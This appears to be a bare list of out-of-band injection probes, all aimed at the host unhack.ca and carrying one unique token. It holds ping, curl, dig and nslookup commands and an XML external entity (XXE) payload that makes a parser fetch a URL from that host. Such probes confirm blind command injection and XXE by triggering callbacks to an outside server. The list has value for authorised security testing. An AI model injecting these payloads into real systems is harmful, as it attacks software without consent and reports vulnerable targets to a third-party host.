$ ping -c1 -p 008fba54f5ac4766719d2eae30610600 unhack.ca
 

$ curl http://unhack.ca/p/8fba54f5ac4766719d2eae306106
 

$ dig 8fba54f5ac4766719d2eae306106 @unhack.ca
 

$ dig 8fba54f5ac4766719d2eae306106.ns.unhack.ca
 

C:\> nslookup 8fba54f5ac4766719d2eae306106 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8fba54f5ac4766719d2eae306106">]>
    <foo>&xxe;</foo>